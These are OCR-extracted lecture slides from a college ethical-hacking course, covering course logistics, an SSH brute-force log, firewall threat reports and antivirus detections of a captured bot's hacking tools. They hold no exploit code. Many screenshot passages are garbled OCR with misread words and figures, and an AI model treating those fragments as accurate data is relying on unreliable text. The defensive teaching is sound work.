CIS 76 - Lesson 3

Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers

1st minute quiz

Web Calendar summary
Web book pages
Commands

Lab 3 posted and tested
Rouji VM created and online

Microsoft academic store
VMware academic store

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Update CCC Confer and 3C Media portals
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Evading Network

- TCP/IP
Devices
Network and
Cryptograph
YESSSIRE Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks . i Social Engineering
Ethical Hacking
Hacking
Web Servers Port Scanning
Embedded Operating p
Systems Enumeration
Desktop and Server Scripting and
Vulnerabilities Programming

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

« HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Student checklist for attending class
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Browse to:
http://simms-teach.com
Click the CIS 76 link.
Click the Calendar link.
Locate today’s lesson.
Find the Presentation slides for
C3 90 (KR A $) Cadidin the lesson and download for
i ot Setx| Calendar easier viewing.
T e L T TN U T T T e Click the Enter virtual classroom
e v e link to join CCC Confer.

[ s Umdaratand B tis conrss whd s it

e e ] 7. Log into Opus with Putty or ssh
e 8 R e command.

.AA.I;

‘ ,g,ﬁm

S SRR 1! 7! 5
upPrhWN

o

| Mrdovni

| Presentation slldes (download) |

Note: Blackboard Collaborate Launcher only
Seggmr .. needs to be installed once. It has already
Vi N 1 been downloaded and installed on the
classroom PC’s.

| Awigrvmes?

+.Stydert Shfvey

L

|EQ T onty
| Enter virtual classroom F
X [~ " v v § [y ¢ | QPP BT l |} -\‘:
i | is i } "\j
A | Carmnpreein fisf N

QRN
ST ey "mwr&mm*rw;wrm* T N S T AR WA TR
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Simms-teach.com, r %

I Rich's Cabg 1 -y J The CIS 90 System Playground
CIS 90 Calend] @ CCC Confer -MH SIMMS VIRTUAL CLASSROOM N a X | e
File Edit View Tools Window Help “

v AUDIO & VIDEO v . e .
CIS 90 (Spring ]

| 7 (WCowcee  cisso tesont . o B BBLCT

Class Activity = Where are you now?

Bergi Sems. 248P4 *
Where s a good place to get

a used version of the

optonal textbooks?

cis90lesso....pdf Rich-Serens 248PM -
Amazon has some good

prices nght now

O One or more login
Q CIS 76 website Calendar page sessions to Opus




1) Instructor gives you sharing privileges.

() CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
File Edit View Tools Window Help “Hevated priviege TN =)

* AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or

elevated privileges. Elevated privileges are required to share

applications that use elevated privileges.
= pg Select your desktop or an open application you would like to share.

Start 5 h aring Elevated privileges are acquired via Tools > Application Sharing . .
> Request Elevated Privileges. They can be relinquished via ns
Tools > Application Sharing > Yield Elevated Privileges (returning _
you to standard privileges). If you are hosting an application ol 51212 desktop

sharing session with standard privileges and you (or a person
remotely controlling your desktop or application) perform an

2 ) C | i C k ove rl a p p i n g recta n g | eS action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

W' Microsoft Word (winword.exe) 'Virtual dlassroom (locked).doc
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P Microsoft PowerPoint (powerpnt.exe) 'cis90lesson01.ppbx - Mic

i S p rese nt th e n Cl i C k it a s We | I . If you are hosting an application sharing session with elevated f_ C:\Program Files (x86)\putty.exe 'simbend0@oslab:~"

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on
as a standard user) or allowed (if you are logged on as an
administrator).

application sharing session to terminate. Also, without elevated

icon. If white "Start Sharing" text

time than sharing the desktop (all of it or a region).

D Never show this dialog again

3) Click OK button. ‘ | :
Cancel l Share I

4) Select "Share desktop"
and click Share button.
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* | Rich's CCC Confer checklist - setup cccCe) Confer

[ ] Preload White Board

{i) CCC Confer - 0 - RICH SIMMS - -

I File Edit View Tools Window Help
E H L]
[ﬂ [ Load Content ] | Record | iss ~ AUDIO & VIDEO -

ust Microphane Level Up

. Adjust Microphone Level Down ]
[ ] Connect session to Teleconference e e g
Talk video Adjust Speaker Level Down <]
|
MAIN ROOM (2] “elsume® 'g"“'::‘?““ ( S
. - I Moderpef &l
Session now connected ® Rich Simms i
to teleconference Moderator (You) I S ake Vi ow Moderator Focus E
—\> % TElEEDI'IfEFEI'IEE '\IJ P | - &%) | Make Video Follow Speaker &
hl | = Yl Send Camera Snapshot To Whiteboard
Detach Panel 5
[ ]1Is recording on? o
~ AUDIO & VIDEO L - I
9

(i) | Loadcontent | [ Ramrding@k; o

Red dot means recording_)
little Microphone

[ ] Use teleconferencing, not mic icon and the

|
Talp | [ video Teleconferencing ...
Should be grayed out * Teleconferencing... 2 message displayed

Should change
from phone
handset icon to
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S
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= o 7 A ; i ) T — : i o|@] 2]
> 1590lesson07.pdf * - Foxit Reader 7 X . X Y \
& | B ' o Ne @ LN
(%] I Fe Edt View Tools Comments Forms SharePont He BE = @ - = 3
m . " N/ . —
eypetefeia , — = C [ simms-teach.com/do 90, W=
~ wEHB @ as 8- T .
cen = 2 Part 1 - Flashc (1 point each)
r =
® CCC Confer-0-RIC... [o @I =] || ) i
?
File Eqn View Tools Window Help 90 ~ 1Q1) What com her users logoed In to the computer?
. - Al
v AUDIO & VIDEO D q = 0 0 of2 2l
hname
¢
X / {Q2] What environment variable is used by the shell to determine which directories to
= search when locating a command?
- L=
d T Summs, > R - Py (A2) \
- _'l}_‘ ) | e i 22D P simbend0@oslab:- le[@] =]
! Tak | [ Video 2 J == | Yogin as: simben30 -
J mail ) Is sixpen90@oslab.cabrillo.edu's password:
§ w PARTICIPANTS -8 B \
e C
2 Rich Simms RO # Current directory E
I (&[0 (=] A —
i i i "1 destination -0 &
MAIN ROOM (3 SQ25H% il § femmeeee : oo O[5 & voorter
O Rich Simms - - = [y cs viab
88 1odeca =l Welcomt E@és 192 Alarms | Per
Ti N9 Serving Cab; B 7 Pod 01 Clear
o |l & o 4 What command copies th < [Sta=
S == Terminal type? [ ) rﬂ
“

- Teleconference joined the Main Room. (
6:51 AM ) -

Terminal type is
/home/cis90/simb

putty

&1 poi-frod
& p0i-legolas x
»

vSphere Client

L
oSl

Recent Tasks Name, Targetor Status contains: » [ Clear %
Mame: | Target | Status | Details | Tnitiated by
4 |

1 Tasks @ Marms |

ZIFs

(Wi

6:52 AM
101072012 |

S G N

[ ] layout and share apps

(=)
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cce(: )Confer

-
(i) CCC Confer- 0 - RICH SIMMS
File Edit View [Tcrcrls] Window Help

Application Sharing
Audio L

* AUDIO &

Breakout Rooms 4 Mew Page Dekete Page
Chat 4
Graphing Calculator *

In-5ession Invite L4

Interaction 4

Moderator 4

[ ] Video (webcam)

L | Palling >
[ Tk | Profile b [ ] Make Video Follow Moderator Focus
Recorder ¢
~ PARTICIPA Session Plan 4
Rich Sin Telephony »
e Tirmer r
E Video ' Camera Settings...
_ Whiteboard ! Maximum Simultanecus Cameras...
HA R:;:;:“m R H;j\; ¥ Make Video Follow Moderator Focus
Maderztor (You) Make Video Follow Speaker
Send Camera Snapshot To Whiteboard

17—
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Image Mate

Elmo rotated down to view side table

LIVE image - Image Mate - (B

e & NI P
S—— Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer

Settings \E‘.
B The "rotate image"
button is necessary
R if you use both the
B | s/dc_e table and the
%Tact\magequahw o o Whlte board-
Tl e ow Quite interesting
== that they consider
S — | you to be an
= n n ;
\,_., expert" in order to
use this button!

Elmo rotated up to view white board

LIVE image - Image Mate -] (B3] [
Tor CH @ W=
e & I O E el Q < &
Rotate
image
button

=L_M0O

10
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Universal Fix for CCC Confer:
1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime
3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons)

General Tab > Settings...

~
el

-
£ Java Control Panel

500MB cache size

-~ % .
8, k)
o
3 L4
)

Rich's CCC Confer checklist - universal fixes

Delete these

-
Temporary Files Settings

B

r
Delete Files and Applications

General | Java | Security | Advanced

About

View version information about Java Control Panel.

Network Settings i

Network settings are used when making Internet connections. By default, Java will
use the network settings in your web browser. Only advanced users should modify

gs.
Network Settings...

Files you use in Java applications are stored in a special folder for quick executon
|| later. Only advanced users should delete files or modfy these settings

these sef

|| Temporary Internet Fies

Kéep femporary s on my computers

Location

Select the location where temporary fies are kept:

s\Rich Data\LocalLow\suniJavaiD tycache Change...
Il Disk Space

Select the compression level for JAR files: None -
fl Set the amount of disk space for storing temporary files:
| U 500 | MB
I

Delete Fies...

] [ Restore Defaults ]

Free Java Download
Download Java for your desktop computer now!

Version 7 Update 13

Free Java Download
Whalls Jaa? » Dolhae Jaia? » Nesqheig?

A
' Delete the following files?
Ly

Cached Applications and Applets
[ Installed Applications and Applets

11
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Start

12
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Sound Check

Students that dial-in should mute their line
using *6 to prevent unintended noises
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume

*4 - jncrease conference volume.
*7 - decrease conference volume.
*5 - jncrease your voice volume.

*8 - decrease your voice volume.

13
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Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690
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Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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First Minute Quiz

Please answer these questions in the order
shown:

Use CCEEQ White

email answers to: risimms@dcabrillo.edu

(answers must be emailed within the first few minutes of class for credit) 15
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Network and Computer Attacks

Objectives

* Quiz #2
* Questions

» Describe the different types of malware.

» Describe methods to protect against malware
+ Housekeeping

+ They never stop knocking

attacks.

» Describe the types of network attacks.
* Sun-Hwa

« PA-500
« SSH brute force attack
+ Captured Bot
+ Malware

+ Identify physical security attacks and

vulnerabilities.

+ TCP review

« Session hijacking
* Assignment

« Wrap up

16
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Admonition

17

Shared from cis76-newModules.pptx
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
own or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 18
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Questions

19
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Questions

. o
How this course works? ®@@%%@@%@©
@@© i\ Q@@R@
Past lesson material? °— «* W00
@Q@@@%@U@
: BPEANO
Previous labs? I

ﬂ'i_j.ﬁ:lE]_ﬂEﬁ:lE]ﬂE’_, iﬁj\ﬁ%{@{%?, 1“32;%_1@%%05%%_113
Chinese | 12Kz,
Proverb

He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.

20
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Roll Call
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If you are attending class by watching
the recordings email the instructor at:

risimms@cabrillo.edu

to provide roll call attendance.

23
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If you haven't already

Change your default
password on Opus-II

[simben76@opus-ii ~]$ passwd

Changing password for user simben’/6.

Changing password for simben’76.

(current) UNIX password:

New password:

Retype new password:

passwd: all authentication tokens updated successfully.

24
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Housekeeping

Send me your student survey & agreement if you
haven't already.

Lab 2 due by 11:59PM (Opus time) tonight.

Graded labs are placed in your home directory on
Opus.

Answers to the quizzes are in /home/cis76/answers on
Opus.

Grades from last week posted on the website.

When I get your survey/agreement I will send you

your grading codename.
25
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Forum

C | [3 oslab.cishawks.net/forum/viewforum.php?f=938&sid=4f90a29022aeab31bf623a55cf7a6b51 Q

&p

h B B Cabrillo College: Computer and Information Systems -
- s Forum for students in the Computer Networking and System Administration and/or
creating ® communities Computer Support Specialist programs Advanced search

« Next week is the 1st five post deadline!
(worth 20 points)

* Only your posts in the CIS 76 forum will

earn points

« Make sure your username is your full
first and last name, separated by a
space, so you get credit for your posts

Email the instructor for username changes or
to reset your password

®

by Robert Lemon = Tue Feb 11, 2014 11:17 am Tue Feb 11, 2014 1:20 pm

% Using virtualbox for fun and education 3 a6 by Robert Lemon [
by Jon Wells » Sat Feb 01, 2014 3:55 pm Tue Feb 11, 2014 11:15 am
[/;\] Microsoft and VMware academic webstores 0 g by Rich Simms [

e e o

26
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Grades posted on website

http://simms-teach.com/cis76grades.php

Percentage | Total Points |Letter Grade|Pass/No Pass
90% or higher| 504 or higher A Pass
80% to 89.9%| 448 to 503 B Pass
70% to 79.9%| 392 to 447 & Pass
60% to 69.9%| 336 to 391 D No pass
0% to 59.9% 0 to 335 F No pass

MR T I (o 74

Please check your grades and
grading option (grade or
pass/nopass) is correct.

Send me your student survey
from Lesson 1 to get your code
name.

At the end of the term I'll add up
all your points and assign you a

grade using this table: 97
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CyberPatriot Mentor Training

Cabrillo College is hosting a training session for individuals interested in becoming
mentors for the Cyberpatriot program. This one-day training is free of charge
and will cover the skills needed to mentor teams of high-school-age
CyberPatriots preparing to compete in Regional, State and National
competitions. Your college's CyberPatriot coordinator will have more details on
each college's mentoring schedules soon. If you are interested, please complete
this form.

Date of Training: Saturday, September 16, 2017, 9 a.m. to 5 p.m. Cabrillo
College, Room 828. Map and parking info will be sent out in a separate email.
Breakfast, lunch and snacks will be provided!

https://goo.gl/forms/]126eECUGSwWpQL30B2

28
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Cabrillo Networking Program Mailing list

Subscribe by sending an email (no subject or body) to:
networkers-subscribe@cabrillo.edu

e Program information

e Certification information

Career and job information

e Short-term classes, events, lectures, tours, etc.
e Surveys

e Networking info and links

29
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Microsoft products for CIS students

c eS5.onthehub.com/WebStore/ProductsByMajorVersionList.aspx?ws=fb17a69d-e49b 18708897 8vsro = 8&USE

Microsoft DreamSpark
for Acadermic nstitutions

| - | Accounts for students enrolled in

J CIS 76 have been created using
your WebAdvisor email addresses.
Follow the instructions in the email
you receive.

Microsoft software for learning,
teaching and research

For convenience, links to the
Academic webstores are on the
Resource page of the website:

https://simms-teach.com/resources.ph

General Links

Instructors Academic Software for CIS Palo Alto Networks
. Ed Students + PAN commani ds
« Gerlinde « Microsoft Webstore
« Jeffrey + VMware Webstore Making Strong
s Jim Passwords
S .

Licensed for educational use only.

Happy downloading!

30


https://simms-teach.com/resources.php

c1s 76 - tesson3 . . B AR R B

VMware products for CIS students

1 Accounts for students enrolled in

| CIS 76 have been created using

| your WebAdvisor email addresses.
| Follow the instructions in the email
you receive.

& Rich's Cabrillo ¢ x/ @ Cabrillo Colleg: x \ | Cabrillo Colleg: x ' s (1 unread) - ric’ =  pg Cabrillo Colleg: x
C [ e5.onthehub.com/WebStore/ProductsByMajorVersionList.aspx?ws=697cc8a5-1daa-df11-ad57-0030487d

For convenience, links to the
Academic webstores are on the
Resource page of the website:

https://simms-teach.com/resources.ph

General Links

Instructors
« B

+ PAN commani ds

« Gerlinde

« Jeffrey

« Jm
S

Academic Software for CIS
Students
« Microsoft Webstore

« VMware Webstore

Palo Alto Networks ‘

Making Strong
Passwords

s B @ ki Licensed for educational use only.

Happy downloading!

31
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They never
stop knocking

Sun-Hwa
PA-500
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g? root@sun-hwa: ~

—-—— pam_unix Begin

sshd:
2Zuthentication Failures:
root (221.194.44.218): 961 Time (s)
root .1%4.44.19%4) : 954 Time (s)
root .18.238.19): 844 Time (s)
root .18.238.29): B23 Time (s)
root .18.238.9): 813 Time (s)
root .18.238.20): 786 Time (s)
root .1%4_.44.219): €99 Time (s)
root .18.238.32): €79 Time (s)
root .18.238.22): €31 Time (s)
root .1%4.44_.216): 587 Time (s)
root .194_.44_.223): 573 Time (s)
root 194.44_.227): 362 Tims(s)

unknown (91.224.160.106): 29 Time (s) They rea//y Seem tO

unknown (94.225.38.245): 14 Time (s) "
root (91.224_.160.106): 12 Time (s) /Ike Sun-Hwa
unknown (193.201.225.156): 7 Tims(s)
root (94.225.38.245): €& Time(s)
root (193.201.225.156): 5 Time(s)
unknown (222.124.218.210): 5 Time (s)
unknown (58.244.173.44): 5 Time (s)
unknown (118.163.101.6€7): 4 Time (s)
unknown (218.14.157.178): 4 Time (s)
unknown (1.34.83.14): 3 Time (s)
unknown (109.71.138.13): 3 Time (s)
root (118.163.101.67): 2 Time(s)
root (202.29.22_.167): 2 Time(s)
unknown (27.131.3.130): 2 Tim=(s)
games (58.244.173.44): 1 Time (s)
1p (109%.71.138.13): 1 Time(s)
root (10%.71.138.13): 1 Time(s)
root (218.14.157.178): 1 Time (s)
root (222.124.218.210): 1 Time(s)
root (70.35.19%6.91): 1 Time(s)
sshd (109.71.138.13): 1 Time(s)
unknown (27.254.67.185): 1 Time (s)
unknown (70.35.196.91): 1 Time(s)
Invalid Users:
Unknown Account: 78 Time (s)
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Top source countries
NoSweat : Saturday, September 10, 2016

sowceCony | Bes | Sessons

172.16.0.0-172.31.255.255 83T G 20854 k
192.168.0.0-192.168.255.255 1201 M 89.05k
United States 195G 2711k
China 39.14 M 464k
France 40.54 M 125k
Korea Republic Of 409 M 105k
United Kingdom 2458 M 801

European Union 270M 776
Germany 6.76 M 552
Netherlands 6.11M 455
Gibraltar 143 M 352
Russian Federation 6.95 M 344
Ukraine 672M 282
Japan 604.65k 196
Australia 24942 k 172
Poland 319 M 149
Singapore ’ 59.47 k 147
Didn't know we had
Spain 60.71k 132
Taiwan ROC SO [”any long 271M 131

Czech Republic . ’ 16492 k 115
reece distance students!
10.0.0.0-10.255.255.255 124.04 k 94
Romania 43910k a0
Viet Nam 343 M a7
Brazil 172.03 k 76
India 1.05M 60
Switzerland 24806 k 59
Chile 20322k 36
Turkey 4622 k kY

Ethiopia 3.94M 30
Thailand 9258k 28
Hong Kong 3617k 23
Mexico 163.27 k 21

Iran Islamic Republic Of 26.04k 21

Jamaica 161.34 k 16
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Application and Threat Summary

Application Usage
Fiisk Trond

Top 5 Applications

mm

233214
-unu W 407 3?430.254
=nmevl BT AZE46 200
WIS TTEE THEZS59141
wab-browsing 22oED 1,063 136 B04
Threat Types
Top 5 Spyears
Ikoro RDF Roquest Trofic a8
Top & Vulnerobikties
ME-ROP Brate Foroe Atlempt 51
Nomck RDF scan 4
EEH User Authantication Brude Foroo Atie.. 3
[Bash Remote Code Execution Vulnerabiity 2
HTTP OFTIONS Mathod 1
Tap § Vinsas
Mo matching data found

NoSweat - Sep 10, 2016

User Behavior
Top & Usors
86,248 107,088,496
m1.am.nﬂ.| 54,533 17,817 206
voonter-fel.cls.caball. 14,838  5,568,030,412
ulabwolumiociscabr... 14,642 4,533,174
winsarvecd.cis.cabalio... 8,058 1,043,738
Top 5 URL Categories
mawans 19
hacking 14
Top 5 Dastination Counries
m
Lml.dsw-
172.06.0.0-172.31.255 285 121.24]'
152, p6EL0U0- 160 16A. 258 255 N,
athoriands 1827
Unifind Kingdom 1,785
Threat
Top 5 Afincioors
200 T 25164 25
1561947829 prolight. lonet.peoip.pl 25
cish-183-177-165-80-dyn. prod-infinitum .. .. 25
1855662 54 14
218201130180 1]
Top 5 Vicims
cislab. cis cakrilo.sdu lix]
jaff.cis cabrilo.eduy 2
rick.gis.cabrillo.odu 1
cslob.ces.cabrilo.ocy 1
ed.cis.cabrilo.ady 1
Top 5 Anacker Countrias
oy | com |
Jamaica 25
Poland 25
Mendioo: 25
Nathariands 14

China ]

172305614
Figheat Risk Lsar
Top & URL Caingories
Ho mariching datn found
Top 5 Appications
M
19..%
asl 14.334 5,556,104,402
Top & Throats
No mariching data found
Trends
Bandwdsh
EE
R
BEGE
1TGE
-]
[ =]
Theoats
478
5T
]
i1l
o
[ ano

Daily PA-500
report

35
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SSH Brute
Force
Example
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SSH Brute Force Activity

https://simms-

teach.com/docs/cis76/cis76-brute-
force-ssh.pdf

37
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IQ[' ChlUsers\Rich Simms\Documents\norton-finds-bot.bd - Notepad++ - X
File Edit Search View Enceding Language Settings Macro Run  Plugins Window 2 X

cHHE R Mk oeinyg xx BE|SH1EFBRo® (0N ME| &Y
B CSSIA EH YouTube links b |Ewhoami [= norton{inds-bot b |

=3 ~
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3 Category: Resolwed Security Risks

36 Date & Time,Risk,Activity,S5tatus, Recommended Action,fActivity - Details

37 7/23/2016 5:55:12 AM,High,Hacktool detected by Virus scanner,Juarantined,Resolved - No Action Required,Threat Zctions performed: 1

38 7/23/2016 5:55:12 AM,High,Hacktool detected by Virus scanner,fuarantined,Resolved - No Action Regquired,Threat Actions performed: 1

39 T7/23/2016 5:55:12 BM, High,Trojan.Gen.2? detected by Viruns scanner,(uarantined, Resolved - Ho Action Required,Threat Actions performed: 1

40 7/23/2016 5:55:12 AM,High,Trojan Horse detected by Virus scanner,(Quarantined,Resolved - No Action Required,Threat Actions performed: 1

41 T7/23/2016 5:55:12 BAM, High,Hacktool detected by Virus scanner,(Quarantined,Resolved - No Lction Required,Threat Lctions performed: 1

42 7/23/2016 5:55:12 AM,High,Hacktool.Rootkit detected by Virus scanner,Quarantined,Resolved - No Action Regquired,Threat Actions performed: 1

2E 7/23/2016 5:55:12 AM,High,Hacktool.Rootkit detected by Virus scanner,Quarantined,BResolved - No Action Reguired,Threat Actions performed: 1

= 7/23/2016 5:55:11 AM,High,Hacktool detected by Virus scanner,Juarantined,Resolved - No Action Regquired, Threat Zctions performed: 1

S5 7/23/2016 5:55:11 AM,High,Trojan Horse detected by Virus scanner,(Quarantined,Resolved - No Action Required,Threat Actions performed: 1

46 T/23/2016 5:55:11 MM, High,Trojan Horse detected by Virus scanner,(uarantined, Resolved - Ho Action Required,Threat Actions performed: 1

47 7/23/2016 5:55:11 AM,High,Hacktool detected by Virus scanner,(uarantined,Resolved - No Action Required,Threat Actions performed: 1

8 7/23/2016 5:55:11 AM,High,Hacktool detected by Virus =scanner,fuarantined,Resolved - No Action Regquired,Threat Actions performed: 1

49  7/23/2016 5:55:11 AM,High,Trojan Horse detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat Rctions performed: 1

50 7/23/2016 5:55:11 AM,High,Trojan Horse detected by Virus scanner,Quarantined,Resolved - No Action Reguired,Threat Actions performed: 1

51  T7/23/2016 5:55:10 BM, High,Linux.R5T.B detected by Wirus scanner,(Quarantined,Resolved - No Action Required,Threat Actions performed: 1

e T7/23/2016 5:55:10 AM,High,Linux.DDoS5.M5tream detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat Actions performed: 1

53 T7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,(Quarantined,Resolved - No Lction Required,Threat Lctions performed: 1

S 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,Juarantined,Resolved - No Action Regquired, Threat RZctions performed: 1

) 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,fuarantined,Resolved - No Action Regquired,Threat Actions performed: 1

56 7/23/2016 5:55:10 AM,High,Linux.DDoS.MStream detected by Virus scanner,(Quarantined,Resolved - No Action Required,Threat Rctions performed: 1

& 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,(uarantined,Resolved - No Action Required,Threat Actions performed: 1

58 7/23/2016 5:55:10 LM, High,Hacktool.Rootkit detected by Virus scanner,Quarantined,Resolved - No Lction Required,Threat Actions performed: 1

S5 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,(uarantined,Resolved - No Action Required,Threat Actions performed: 1

&0 7/23/2016 5:55:10 AM,High,Trojan Horse detected by Virus scanner,Quarantined,Resolved - No Action Reguired,Threat Actions performed: 1

61 7/23/2016 5:55:10 AM, High,Linux.DDoS.MStream detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat Actions performed: 1

62 7/23/2016 1:32:59 AM,Low,Tracking Cookies detected by Virus scanner,BRemoved,Resolved — No Action Regquired, Threat Actions performed: 2

63

F4 v
MNormal text file length : 156123 lines: 354 Ln:1 Col:1 Sel:0]0 Dos\Windows UCS-2 LEBOM INS

Norton got quite excited about this tarball
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o =
Security History [
Show | Cuarantine - ¥ | Quuick Search Go
Sewverity Activity Status Date & Time Details
® Lioh Hacktool detectad Quarantined 7/23/2016 .
g by Virus scanner 5:55:12 AM Recommended Action
. High Hacktool detected QuarantinEd .?."IEBF"ED-I A Resolved - Mo Action Required
9 by Virus scanner 5:55:12 AM Restore  Options
Trojan.Gen.2 p— : .
. |— |gh detected b}r "|'|'iru5 QUEFEHtinEd 5:"’5253.'}22?;?%'1 tr_‘]‘b'”d l...‘_’ﬂtalne‘:l tthBt
scanner o Hacktool
Trojan Horse — —— Risk
: : : 7/23/2016 =
® High detected by Virus Quarantined 5.55:17 AM = High
scanner
; Origin
. Hacktool detected : 7/23/2016 ' B
® High by Virus scanner Quarantined 5:55:12 AM Mot Available
Hacktool Rootkit F Activity
71237 .
® High detected by Virus Quarantined ;E?EPI?I Threat Actions performed: 1
Go to Page:D Go [«] Page 1of G [+ More Options
yfﬂnrtm mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time -~ Details
® Hioh Hacktool detected Quarantined 7/23/2016 .
9 by Virus scanner 5:55:12 AM Recommended Action
® Hich Hacktool detected Quarantined 1;23;2[]16 Resolved - No Action Required
9 by Virus scanner 5:55:12 AM Restore  Options
Trojan.Gen.2 iy : _
@ High detected by Virus CQuarantined 5;253{122'];‘?”1 bind contained threat
ccanner S Hacktool
Trojan Horse . = Risk
: : . 7/23/2016 =
@ High detected by Virus CQuarantined 5:55:17 AM = High
scanmer
; Origin
. Hacktool detected . 7/23/2016 ®
® High by Virus scanner Quarantined 5:55:12 AM Mot Avallable
Hacktool Rootkit F Activity
1123/ :
@ High detected by Virus Cuarantined .;IEEE,D]\?‘ Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time -~ Details
® Hioh Hacktool detected Quarantined 7/23/2016 .
9 by Virus scanner 5:55:12 AM Recommended Action
. Hiah Hacktool detected QuarantinEd ?llfzgarzn-l A Resolved - No Action Required
9 by Virus scanner 5:55:12 AM Restore  Options
Trojan.Gen.2 -
® High detected by Virus Quarantined 215253%[];; telnﬂ_at contained threat
ccanner e Trojan.Gen.2
Trojan Horse . = Risk
: : . 7/23/2016 =
@ High detected by Virus CQuarantined 5:55:17 AM = High
scanmer
; Origin
. Hacktool detected . 7/23/2016 ®
® High by Virus scanner Quarantined 5:55:12 AM Mot Avallable
Hacktool Rootkit F Activity
1123/ :
@ High detected by Virus Cuarantined .;IEEE,D]\?‘ Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time -~ Details
® Hioh Hacktool detected Quarantined 7/23/2016 .
9 by Virus scanner 5:55:12 AM Recommended Action
® Lk Hackiool detected (. 7/23/2016 Resolved - No Action Required
9 by Virus scanner 5:55:12 AM Restore  Options
Trojan.Gen.2 iy o _
@ High detected by Virus Quarantined 5;253{122'];‘?”1 p5ca_n¢ contained threat
ccanner e Trojan Horse
Trojan Horse = Risk
: ; . T1/23/2016 E
@ High detected by Virus Quarantined 5:55:17 AM = High
scanner
; Origin
. Hacktool detected . 7/23/2016 ®
® High by Virus scanner Quarantined 5:55:12 AM Mot Avallable
Hacktool Rootkit F Activity
1123/ :
@ High detected by Virus Cuarantined .;IEEE,D]\?‘ Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time -~ Details
® Hioh Hacktool detected Quarantined 7/23/2016 .
9 by Virus scanner 5:55:12 AM Recommended Action
. Hiah Hacktool detected QuarantinEd ?llfzgarzn-l A Resolved - No Action Required
9 by Virus scanner 5:55:12 AM Restore  Options
Trojan.Gen.2 iy _ I _
@ High detected by Virus Quarantined 5j5253f122|];.?--1 e
ccanner S Hacktool
Trojan Horse . = Risk
: : . 7/23/2016 =
@ High detected by Virus CQuarantined 5:55:17 AM = High
scanmer
Origin
: Hacktool detected . 7/23/2016 ®
® High by Virus scanner Quarantined 5:55:12 AM Mot Avallable
Hacktool Rootkit F Activity
1123/ :
@ High detected by Virus Cuarantined .;IEEE,D]\?‘ Threat Actions performed: 1

Go to Page:g Go

v Norton

|I| Page 1ofé |I|

More Options

mport  Export Add to Quarantine Clear Entries Close
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. . — 0O X

Security History [z
Show | Quarantine - 3 | Quick Search Go

Severity Activity Status Date & Time - Details

= e by Virus scanner et 35512 AM .

® Hich Hacktool detected o tined 772372016 Recommended Action

'g by Virus scanner yarantne 5:55:12 AM Resclved - Mo Action Required
Restore  Options

Trojan.Gen.2

7723/
@ High detected by Virus Cluarantined SEE?'IEED;.?JI
ccanner e 55 contained threat
S Hacktool.Rootkit
. clsn e . 7/23/2016
® High S:;:-;Lerd by Virus Cuarantined 5.55:12 AM = Risk
= High
: Hacktool detected . /2372016
® High by Virus scanner Quarantined 5:55:12 AM ﬁ Origin
Mot Available
Hacktool Rootkit
@ High detected by Virus Cuarantined 2152533;220;; F Activity
scanner o Threat Actions performed: 1
Go to Page:g Go [«] Page 1ofé [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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. . — 0O X
Security History [z
Show | Quarantine - 3 | Quick Search Go
Severity Activity Status Date & Time - Details
R L-L N AL PR TLEE NR 7 II..
@ High detected by Virus Quarantined SEE?'IEED;.?U'I B
ccanner e Recommended Action
